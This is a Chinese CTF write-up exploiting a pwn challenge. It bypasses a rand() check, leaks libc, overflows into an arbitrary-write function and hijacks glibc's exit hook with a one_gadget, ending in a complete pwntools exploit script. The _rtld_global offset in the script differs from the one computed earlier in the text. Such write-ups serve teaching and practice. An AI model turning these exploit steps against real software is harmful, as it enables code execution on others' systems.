从这道题学习exit hook的一种打法和查找偏移的方法

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+1Ch] [rbp-24h] BYREF
char buf[20]; // [rsp+20h] [rbp-20h] BYREF
unsigned int v6; // [rsp+34h] [rbp-Ch]
unsigned int v7; // [rsp+38h] [rbp-8h]
unsigned int seed; // [rsp+3Ch] [rbp-4h]

myinit(argc, argv, envp);
puts("please enter this challenge");
__isoc99_scanf("%d", &v4);
seed = time(0LL);
srand(seed);
v7 = rand();
v6 = v7 % 0x6E;
if ( v7 % 0x6E == v4 )
{
puts("Give you a gift");
gift();
puts("Do you know any address to write");
puts("Come and try it out");
read(0, buf, 0x2EuLL);
}
return 0;
}

main函数开头要我们绕过一个随机数检查才有输入点。gift函数会打印puts函数的libc地址,libc地址不请自来。接着read函数溢出14个字节,只能覆盖六个字节到ret地址,所以想要在这里写one gadget是不可能的了,因为libc地址占七个字节。

另外,题目有一个magic函数,可以进行任意地址写,并且只能读取八个字节,以exit退出:

1
2
3
4
5
6
7
8
9
void __noreturn magic()
{
void *buf; // [rsp+8h] [rbp-8h] BYREF

puts("Congratulations on completing a big step");
read(0, &buf, 8uLL);
read(0, buf, 8uLL);
exit(0);
}

这个提示就很明显了,可以劫持exit@got或者劫持exit_hook写one gadget。

分析调试&出现的问题

随机数绕过

开头的随机数种子是time(0),题目给了libc附件,所以我们可以在python使用ctypes库来调用动态链接库函数来同步获取time(0),以获得相同的随机数。

1
2
3
4
5
from ctypes import *
libcc = cdll.LoadLibrary('./libc-2.31.so')
libcc.srand(libcc.time(0))
ran_num = libcc.rand() % 0x6E
r.sendlineafter(b"please enter this challenge\n", str(ran_num).encode())

在打远程靶机的时候可能会因为时延而获取不到相同的随机数,多试几次就好了。

接收libc地址

1
2
3
4
r.recvuntil(b"Give you a gift\n")
puts_addr = int(r.recv(14), 16)
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base:'+hex(libc_base))

溢出

溢出只溢出了六个字节,但是我们在这里的目的,是劫持程序执行流执行magic函数,获得任意地址写的机会。

这里需要注意一个问题,不要发超过六个字节。后面magic函数里是两个read,如果前面留下字节在输入流中,会被后面的read直接读取,导致意料之外的错误。另外就是最好是用send,sendline会引入多一个回车。

1
2
3
magic = 0x4012bd
pay1 = b'a'*(0x20 + 8) + b'\xbd\x12\x40\x00\x00\x00'
r.send(pay1)

任意地址写

这是这道题的核心,也是发现最多问题的地方。其实运气好的话可以不用那么曲折,不过遇到了问题可以学到更多东西,未尝不是一种好事。

我们在看一次magic函数的核心语句:

1
2
3
read(0, &buf, 8uLL);
read(0, buf, 8uLL);
exit(0);

第一个read可以控制buf的地址,第二个read可以控制buf内容,妥妥的任意地址写。因为只有8个字节的空间,所以考虑劫持got表。有libc附件可以得到onegadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ one_gadget libc-2.31.so
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
劫持got表,但one gadget无效

然后利用下面的脚本来劫持exit@got

1
2
3
4
one = [0xe3afe, 0xe3b01, 0xe3b04]
r.recvuntil(b"Congratulations on completing a big step\n")
r.send(p64(e.got['exit']))
r.send(p64(libc_base+one[2]))

然后你会发现,打不通。动调,看看怎么个事

寄存器状态

好家伙,rdx和r12都不为0,根本没法执行execve的onegadget,因为参数不匹配,所以syscall直接失效了,最后执行到__stack_chk_fail的时候就会卡住:

无效onegadget卡住

我们没办法在仅有8个字节的read里解决寄存器问题,所以不得不放弃劫持got表,转战劫持exit hook。

劫持exit hook,但是被检测到栈溢出?

顺带一提,程序本身是没有开canary保护的,但是libc是有canary保护的,所以在执行one gadget的时候会执行到__stack_chk_fail也很正常。

要劫持exit hook,我们要先找到当前版本下_rtld_global结构体的位置和对应_dl_rtld_lock_recursive的位置。我们用gdb打开程序(默认已经patchelf了),运行后中断,输入以下命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pwndbg> p &_rtld_global
$1 = (<data variable, no debug info> *) 0x7ffff7ffd060 <_rtld_global>
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x3fe000 0x3ff000 rw-p 1000 0 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/pwn
0x400000 0x401000 r--p 1000 2000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/pwn
0x401000 0x402000 r-xp 1000 3000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/pwn
0x402000 0x403000 r--p 1000 4000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/pwn
0x403000 0x404000 r--p 1000 4000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/pwn
0x404000 0x405000 rw-p 1000 5000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/pwn
0x7ffff7dd5000 0x7ffff7df7000 r--p 22000 0 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/libc-2.31.so
0x7ffff7df7000 0x7ffff7f6f000 r-xp 178000 22000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/libc-2.31.so
0x7ffff7f6f000 0x7ffff7fbd000 r--p 4e000 19a000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/libc-2.31.so
0x7ffff7fbd000 0x7ffff7fc1000 r--p 4000 1e7000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/libc-2.31.so
0x7ffff7fc1000 0x7ffff7fc3000 rw-p 2000 1eb000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/libc-2.31.so
0x7ffff7fc3000 0x7ffff7fc9000 rw-p 6000 0 [anon_7ffff7fc3]
0x7ffff7fc9000 0x7ffff7fcd000 r--p 4000 0 [vvar]
0x7ffff7fcd000 0x7ffff7fcf000 r-xp 2000 0 [vdso]
0x7ffff7fcf000 0x7ffff7fd0000 r--p 1000 0 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/ld-2.31.so
0x7ffff7fd0000 0x7ffff7ff3000 r-xp 23000 1000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/ld-2.31.so
0x7ffff7ff3000 0x7ffff7ffb000 r--p 8000 24000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/ld-2.31.so
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 2c000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/ld-2.31.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2d000 /mnt/d/software/CTF/PWN/pwnwork/2024sdpctf/magic_write/ld-2.31.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe]
0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack]
pwndbg> tele 0x7ffff7ffdf68
00:00000x7ffff7ffdf68 (_rtld_global+3848) —▸ 0x7ffff7fd0150 ◂— endbr64
01:00080x7ffff7ffdf70 (_rtld_global+3856) —▸ 0x7ffff7fd0160 ◂— endbr64
02:00100x7ffff7ffdf78 (_rtld_global+3864) ◂— 0x0
... ↓ 2 skipped
05:00280x7ffff7ffdf90 (_rtld_global+3888) —▸ 0x7ffff7fe4140 (_dl_make_stack_executable) ◂— endbr64
06:00300x7ffff7ffdf98 (_rtld_global+3896) ◂— 0x6
07:00380x7ffff7ffdfa0 (_rtld_global+3904) ◂— 0x1

命令当中tele那句只是为了确认0xf08处是否是_dl_rtld_lock_recursive,一般看到0x150和0x160结尾的一般就是了。小版本差异可能导致偏移不一致。

可以看到_rtld_global的地址位于0x7ffff7ffd060,而libc基址位于0x7ffff7dd5000,又知_dl_rtld_lock_recursive在结构体中的偏移位置一般是0xf08,所以计算器算一下就可以得到

1
2
3
_rtld_global = libc_base+0x228060
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10

有了这些偏移,我们就可以劫持lock这个函数指针为onegadget,从而使程序执行exit的时候可以执行到onegadget,于是我使用下面的语句:

1
2
3
4
one = [0xe3afe, 0xe3b01, 0xe3b04]
r.recvuntil(b"Congratulations on completing a big step\n")
r.send(p64(_dl_rtld_lock_recursive))
r.send(p64(libc_base+one[1]))

运行后发现被检测出来栈溢出了!

被检测到栈溢出

动调发现,还真是巧,执行exit函数的时候栈帧刚好和main函数的栈帧重叠了,而刚好输入的_dl_rtld_lock_recursive地址覆盖了rbp-0x8的位置。

栈溢出的栈

往下单步到call execve前

栈溢出问题的寄存器

可以发现,rsi最后指向0,但是rdx不为0。刚才提到这个问题,这会导致syscall失效,从而继续往下执行__stack_chk_fail,而后面rsp莫名奇妙变成了libc地址,栈不正常,从而被判断成有溢出。

如果细心一点会发现这时候r12是0,这意味着如果把one[1]换成one[0]这道题就可以结束了,但是我当时没发现,所以又折腾出了另一个问题。

劫持exit hook,但是只能用一遍

当时以为是exit函数栈帧与main函数重叠的原因(然而并不是)导致的栈溢出检测,想着能不能通过返回到类似sub rsp,20h这样的指令来抬高栈。所以我打算先劫持hook为0x4012C5(magic函数里的sub语句),返回magic再打hook为onegadget,发现虽然成功返回到了magic函数,并且不提示栈溢出了,但是也没打通。动调单步一直向下发现程序并没有执行到_dl_rtld_lock_recursive所指向的onegadget。比赛结束后问了xf1les师傅,翻了翻源码,发现这是exit函数有意为之的。

exit.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
	  switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);

case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}

exit.h:

1
2
3
4
5
6
7
8
enum
{
ef_free, /* `ef_free' MUST be zero! */
ef_us,
ef_on,
ef_at,
ef_cxa
};

注释有讲到,为了避免dlclose/exit争用两次调用cxafct,所以在case ef_cxa后会将exit_function结构体里的f->flavor置为ef_free,即设置为0。可以看到只有在ef_cxa的情况下才会对cxafct做出处理,这个东西会转换成_dl_fini函数地址,这里不展开,简单来说就是在这个情况下才会执行到_dl_rtld_lock_recursive所指向的函数。

我们用下面这个payload简单动调验证一下打hook前后flavor的变化。

1
2
3
4
5
6
7
r.recvuntil(b"Congratulations on completing a big step\n")

gdb.attach(r, 'b *exit \n b *0x4012f0')
pause()

r.send(p64(lock))
r.send(p64(0x4012bd))

我们先单步到exit+27,不知道为什么pwndbg读取不到符号表,只能手动解释一下了。

flavor动调1

此时程序准备call的函数其实就是run_exit_handlers,此时的rsi是exit_funcs指针,指向的是initial结构体。和这个结构体有关的数据结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;

struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};

struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};

所以我们只要去看看0x7f46ee551ca0就能看到flavor了。如果有符号表,可以直接通过p *(struct exit_function_list *) 0x7f46ee551ca0查看,这里我们用telescope。

1
2
3
4
5
6
7
pwndbg> telescope 0x7f46ee551ca0
00:00000x7f46ee551ca0 ◂— 0x0
01:00080x7f46ee551ca8 ◂— 0x1
02:00100x7f46ee551cb0 ◂— 0x4
03:00180x7f46ee551cb8 ◂— 0x895cab18d865f3a9
04:00200x7f46ee551cc0 ◂— 0x0
... ↓ 3 skipped

可以看到0x10偏移处是4,也就是此时flavor是4,对应ef_cxa。

然后让程序运行到返回magic,再次查看

1
2
3
4
5
6
pwndbg> telescope 0x7f46ee551ca0
00:0000│ r15 0x7f46ee551ca0 ◂— 0x0
... ↓ 2 skipped
03:00180x7f46ee551cb8 ◂— 0x895cab18d865f3a9
04:00200x7f46ee551cc0 ◂— 0x0
... ↓ 3 skipped

此时flavor的位置是0,对应ef_free,那么接下来无论怎么改_dl_rtld_lock_recursive或者unlock,他都不会进入到对应的函数里去执行,而是执行exit_group直接退出。

虽然对这道题没什么卵用,但至少这个实验可以得出exit hook没法用两次的结论(

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level="debug")
# r = remote('47.98.236.4', 5002)
r = process('./pwn')
e = ELF('./pwn')
libcc = cdll.LoadLibrary('./libc-2.31.so')
libc = ELF('./libc-2.31.so')

rdi = 0x0401453
ret = 0x040101a
one = [0xe3afe, 0xe3b01, 0xe3b04]


libcc.srand(libcc.time(0))
ran_num = libcc.rand() % 110
sleep(0.1)
r.sendlineafter(b"please enter this challenge\n", str(ran_num).encode())
sleep(0.1)
r.recvuntil(b"Give you a gift\n")
puts_addr = int(r.recv(14), 16)

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
_rtld_global = libc_base+0x222060
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
log.success(hex(libc_base))
log.success(hex(_dl_rtld_lock_recursive))

r.recvuntil(b"Come and try it out\n")

payload = b'a'*(0x20 + 8) + b'\xbd\x12\x40\x00\x00\x00'
r.send(payload)

# gdb.attach(r, 'b *exit \n b *0x4012f0')
# pause()
r.recvuntil(b"Congratulations on completing a big step\n")
r.send(p64(_dl_rtld_lock_recursive))
r.send(p64(libc_base+one[0]))

r.interactive()

参考链接

exit_hook攻击利用

exit函数利用

Glibc2.32源码分析之exit部分

⬆︎TOP